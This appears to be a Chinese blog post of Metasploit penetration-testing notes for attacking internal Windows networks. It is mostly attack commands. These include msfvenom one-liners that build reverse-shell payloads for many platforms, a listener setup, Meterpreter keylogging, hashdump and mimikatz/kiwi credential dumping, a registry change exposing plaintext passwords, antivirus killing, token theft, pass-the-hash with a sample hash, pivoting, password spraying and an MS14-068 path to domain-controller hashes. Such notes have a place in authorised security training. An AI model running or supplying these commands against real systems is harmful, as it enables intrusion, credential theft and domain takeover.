meta sploit


msf内网

metasploit一个漏洞框架,允许开发自己的漏洞脚本测试

基本操作

运行

msfconsole

术语

– Exploit,攻击工具/代码 

– Payload,攻击载荷 

– Shellcode,一段自主运行的汇编代码,用来利用漏洞。像msf的msfveom或者cs的payload generator可生成shellcode

– Module,模块 

– Listener,监听器 

常用命令

show exploits – 查看所有可用的渗透攻击程序代码show auxiliary – 查看所有可用的辅助攻击工具 

show options – 查看该模块所有可用选项 

show payloads – 查看该模块适用的所有载荷代码 

show targets – 查看该模块适用的攻击目标类型 

search – 根据关键字搜索某模块 

info – 显示某模块的详细信息 

use – 进入使用某渗透攻击模块 

back – 回退 

set/unset – 设置/禁用模块中的某个参数 

setg/unsetg – 设置/禁用适用于所有模块的全局参数 

save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用 

Cd 更改当前的工作目录 

核心命令

Sessions – 转储会话列表并显示有关会话的信息 

Color – 切换颜色 

Connect – 连接与主机通信 

exit – 退出控制台 

quit – 退出控制台 

sleep – 在指定的秒数内不做任何事情 

get – 获取特定于上下文的变量的值 

getg – 获取全局变量的值 

spool – 将控制台输出写入文件以及屏幕 

threads – 线程查看和操作后台线程 

grep  – 另一个命令的输出 

unload – 卸载框架插件 

load – 加载一个框架插件 

history – 显示命令历史 

irb – 进入irb脚本模式 

version – 显示框架和控制台库版本号 

route – 通过会话路由流量 

建立搜索缓存数据库

kali终端中执行

service postgresql start  - 启动postgresql数据库,监听5432

msfdb init  - 初始化metaspolit数据库

msfconsole db_status  - 查看数据库连接情况

msfconsole db_rebuild_cache  - 建立数据库缓存

数据库后端命令

analyze – 分析有关特定地址或地址范围的数据库信息 

db_connect – 连接到现有数据服务 

db_disconnect – 断开与当前数据服务的连接 

db_export – 导出包含数据库内容的文件 

db_import – 导入扫描结果文件(将自动检测文件类型) 

db_nmap – 执行nmap并自动记录输出 

db_rebuild_cache – 重建数据库存储的模块高速缓存 

db_remove – 删除已保存的数据服务条目 

db_save – 将当前数据服务连接保存为启动时重新连接的默认值 

db_status – 显示当前数据服务状态 

hosts – 列出数据库中的所有主机 

loot – 列出数据库中的所有战利品 

notes – 列出数据库中的所有注释 

services – 列出数据库中的所有服务 

vulns – 列出数据库中的所有漏洞 

workspace – 在数据库工作区之间切换凭据后端命令 

creds – 列出数据库中的所有凭据 

模块命令

Advanced – 显示一个或多个模块的高级选项

Back – 从当前上下文返回 

Edit – 使用首选编辑器编辑当前模块 

info – 显示有关一个或多个模块的信息 

loadpath – 路径从路径搜索并加载模块 

options – 显示全局选项或一个或多个模块 

popm – 将最新的模块从堆栈中弹出并使其处于活动状态 

previous – 将之前加载的模块设置为当前模块 

pushm – 将活动或模块列表推入模块堆栈 

reload_all – 从所有定义的模块路径重新加载所有模块 

search – 搜索模块名称和描述 

show – 显示给定类型的模块或所有模块 

use – 按名称选择模块 

enumdesktops #查看可用的桌面 

getdesktop #获取当前meterpreter 关联的桌面 

setdesktop #设置meterpreter关联的桌面 -h查看帮助 

screenshot #截屏 

run vnc #使用vnc远程桌面连接 

msf功能程序

msfvenom (攻击载荷生成和编码器)

主要参数:-p payload

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值 

LHOST,LPORT 监听上线的主机IP和端口

-f exe 生成EXE格式

使用msfvenom -l 可以查看可以利用payload
msfvenom -l| grep windows | grep x64| grep tcp 选择payload

一些例子

Linux: 

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf 

Windows: 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe 

Mac: 

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho 

PHP: 

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php 

ASP: 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp 

JSP: 

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp 

WAR: 

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war 

Python: 

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py 

Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh 

Perl: 

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl 

这些是反向连接的shell,msf也有正向连接的 windows/x64/meterpreter/bind_tcp

监听

use exploit/multi/handler
set payload  <Payload name>
show options 查看参数
set <参数> <参数值>
exploit -j –z -j(作为job开始运行,强制运行在前台,即使是被动的)和-z(不立即进行session交互--也即是自动后台运行)
set PrependMigrate true – 自动迁移进程

也可在启动时监听

msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit - j; " 

meterpreter后渗透攻击

Meterpreter提供的功能包括反追踪、纯内存工作模式、系统信息获取、密码哈希导出、文件上传载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。

基本命令

meterpreter > background 放回后台 

meterpreter > exit 关闭会话 

meterpreter > help 帮助信息 

meterpreter > Sysinfo 系统平台信息 

meterpreter > screenshot 屏幕截取 

meterpreter > shell 命令行shell (exit退出) 

meterpreter > getlwd 查看本地目录 

meterpreter > lcd 切换本地目录 

meterpreter > getwd 查看目录 

meterpreter > ls 查看文件目录列表 

meterpreter > cd 切换目录 

meterpreter > rm 删除文件 

meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件 

meterpreter > upload /var/www/wce.exe wce.exe 上传文件

meterpreter > search -d c: -f *.doc 搜索文件 

meterpreter > execute -f cmd.exe -i 执行程序/命令 

meterpreter > ps 查看进程 

meterpreter > run post/windows/capture/keylog_recorder 键盘记录 

meterpreter > getuid 查看当前用户权限 

meterpreter > use priv 加载特权模块 

meterpreter > getsystem 提升到SYSTEM权限 

meterpreter > hashdump 导出密码散列 

meterpreter > ps 查看高权限用户PID 

meterpreter > steal_token <PID> 窃取令牌 

meterpreter > rev2self 恢复原来的令牌 

meterpreter > migrate pid 迁移进程 

meterpreter > run killav 关闭杀毒软件 

meterpreter > run getgui-e 启用远程桌面 

meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发 

meterpreter > run get_local_subnets 获取内网网段信息 

meterpreter > run autoroute -s <内网网段> 创建自动路由 

meterpreter > run autoroute -p 查看自动路由表 

创建代理通道: 

msf > use auxiliary/server/socks4a 设置socks4代理模块 

msf auxiliary(socks4a) > show options 

msf auxiliary(socks4a) > run 

配置proxychains参数: 

nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致 

quite_mode 设置成安静模式:去掉如下参数前面的注释 

如果拿到cmd乱码,是因为Windows命令终端默认活动代码页为:936(ANSI/OEM-简体中文GBK),与Linux命令终端默认65001(Unicode-UTF-8)编码不一致。

chcp 65001

获取hash和明文

meterpreter > hashdump
或
meterpreter > run hashdump

可获取hash

在最新的版本中load mimikatz已经取消 现在使用kiwi模块

creds_all:列举所有凭据 

creds_kerberos:列举所有kerberos凭据 

creds_msv:列举所有msv凭据 

creds_ssp:列举所有ssp凭据 

creds_tspkg:列举所有tspkg凭据 

creds_wdigest:列举所有wdigest凭据 

dcsync:通过DCSync检索用户帐户信息 

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID 

golden_ticket_create:创建黄金票据 

kerberos_ticket_list:列举kerberos票据 

kerberos_ticket_purge:清除kerberos票据 

kerberos_ticket_use:使用kerberos票据 

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 

lsa_dump_sam:dump出lsa的SAM 

lsa_dump_secrets:dump出lsa的密文 

password_change:修改密码 

wifi_list:列出当前用户的wifi配置文件 

wifi_list_shared:列出共享wifi配置文件/编码 

Windows201以上,默认禁止在内存缓存中保存明文密码

修改注册表抓明文

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 

kiwi_cmd sekurlsa::logonpasswords

可读到明文和hash

msf下有psexec的模块,可利用hash进行登录

use exploit/windows/smb/psexec
set SMBUser administrator 
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

开启远程终端

meterpreter > run getgui -e 开启远程终端

执行后会开启目标的3389

在kali终端下连接

rdesktop ip

端口转发

如果服务器开启了防火墙,会拦截远程终端端口。可以使用portfwd将3389转发出来

portfwd add -l 1234 -p 3389 -r目标ip

之后rdesktop连接本地的1234

rdesktop 127.0.0.1:1234

可将转发清楚掉

portfw

db_nmap+db_autopwn对主机进行自动漏洞攻击

https://github.com/hahwul/metasploit-autopwn

复制到插件目录

cp db_autopwn.rb /opt/metasploit-framework/plugins

加载插件

load db_autopwn

使用说明

db_autopwn

使用:db_autopwn [options]

-h显示帮助文本

-t显示所有匹配的攻击模块

-x根据漏洞引用选择模块

-p根据打开的端口选择模块

-e发射利用所有匹配的目标

-r使用反向连接shell

-b在随机端口上使用绑定shell(默认)

-q禁用攻击模块输出

-R [rank]只运行等级最小的模块

-I [range]仅利用此范围内的主机

-X [range]总是排除该范围内的主机

-PI [range]仅利用打开这些端口的主机

-PX [range]总是排除打开这些端口的主机

-m [regex]只运行名称匹配regex的模块

-T [secs]任何攻击的最大运行时间(以秒为单位)

常用命令

db_autopwn -t -p -r 
db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e

跨路由访问

渗透过程中,拿到一个主机与数据库不在同一个网段的主机,可得出此主机连接内网,我们将此web主机当作跳板机渗透内网

在跳板机拿到一个meterpreter

获取内网网卡

run get_local_subnets 

image-20220413124202661

绑定路由(不绑定路由无法访问目标主机)

run autoroute -s 10.10.10.0/24 
或者
route add 10.10.10.0 255.255.255.0 1

查看路由

run autoroute -p
h
route print 

image-20220413124320128

使用隧道,默认socks5,也可选择socks4a

use auxiliary/server/socks_proxy

image-20220416094907593

直接 run就行

之后我们使用proxychains4来代理一些工具走socks5这个隧道

编辑配置文件

sudo vi /etc/proxychains4.conf

将socks4改为socks5;将127.0.0.1改为本机kali ip;修改端口

image-20220416101438528

比如我们使用ptoxychains4代理nmap

proxychains4 nmap 10.10.10.138 -sT -A -p 445

-pn 不检测主机存活

禁止smb协议ping到目标主机,假如没有返回smb包,nmap默认主机不存在

image-20220416101527009

设置代理,让msf直接访问目标

setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置) 

setg Proxies socks5:192.168.0.180:1080 

set ReverseAllowProxy true 
#允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项) 

设置代理之后可直接访问目标主机

image-20220416103059359

域信息搜集

常用信息搜集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用

auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口 

auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口 

auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机 

auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机 

auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机 

auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 

auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口 

auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口 

auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口 

auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口 

auxiliary/scanner/http/title #探测内网http服务的标题 

auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口 

use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口

use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口 

auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口 

auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口 

auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口 

auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口 

auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息 

run post/windows/gather/enum_ad_groups #查看组信息 

run post/windows/gather/enum_domain #定位域控 

run post/windows/gather/enum_ad_computers #域内所有机器 

use post/windows/gather/enum_patches #发现缺失的补丁 

use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞 

run post/windows/manage/migrate #自动进程迁移 

run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上 

run post/windows/manage/killav #关闭杀毒软件 

run post/windows/manage/enable_rdp #开启远程桌面服务 

run post/windows/manage/autoroute #查看路由信息 

run post/windows/gather/enum_logged_on_users #列举当前登录的用户 

run post/windows/gather/enum_applications #列举应用程序 

run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码 

run post/windows/gather/smart_hashdump #dump出所有用户的hash 

run post/windows/gather/enum_domain_tokens #寻找域token

密码喷射

检测用户账号

use auxiliary/gather/kerberos_enumusers   #Kerberos用户名枚举–用户名字典

image-20220416111322619

使用密码尝试登录

use auxiliary/scanner/smb/smb_login

image-20220416111927482

猜解密码时,应当考虑账户锁定策略,最好一次猜解一个密码,限制自己猜解的次数为2次或者4次。

令牌

令牌登录

load incognito #加载incognito 

list_tokens -u #列出当前系统可用的token 

impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token 
or
impersonate_token NT AUTHORITY\SYSTEM #参数不加单引号需要对特殊字符进行转义 

rev2self #返回原始token 

令牌窃取

ps #查看系统进程信息 

steal_token <pid值> #从指定进程中窃取token 

drop_token #删除窃取的token 

内网之域普通用户到域控

在windows2008里我们可使用MS 14-086 exp模块进行提权

admin/kerberos/ms14_068_kerberos_checksum

拿到一个域普通用户,在merterpreter中进入shell,whoami /all 查询user sid

之后进入模块,填写参数

image-20220417122704759

如果域名无法解析,将nameserver 填写域控ip

sudo vi /etc/resolv.conf

之后run即可,生成bin文件

image-20220417123034980

在merterpreter中将bin文件上传至域普通用户

image-20220417124417394

在与普通用户里使用mimikatz将bin文件导入票据,即可访问域控

image-20220417125421667

刚开始拒绝访问,我们将bin文件导入进程即可访问域控

可将域普通用户的mimikatz复制到域控下的c盘

copy C:\Users\test\Desktop\mimikatz_trunk\x64\mimikatz.exe \\08server-dc.moonsec.fbi\c$

image-20220417130144141

也可以使用psexec进行登录

C:\Users\test\Desktop\PsExec64.exe \\08server-dc.moonsec.fbi -s cmd.exe

image-20220417125749288

使用刚才复制的mimikatz导出域控的hash

image-20220417130251042

因为原本就是system权限,所以不需要使用privilege::debug进行提权

直接导出hash

sekurlsa::logonpasswords

image-20220417130529443

拿到ntlm hash可以做票据


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录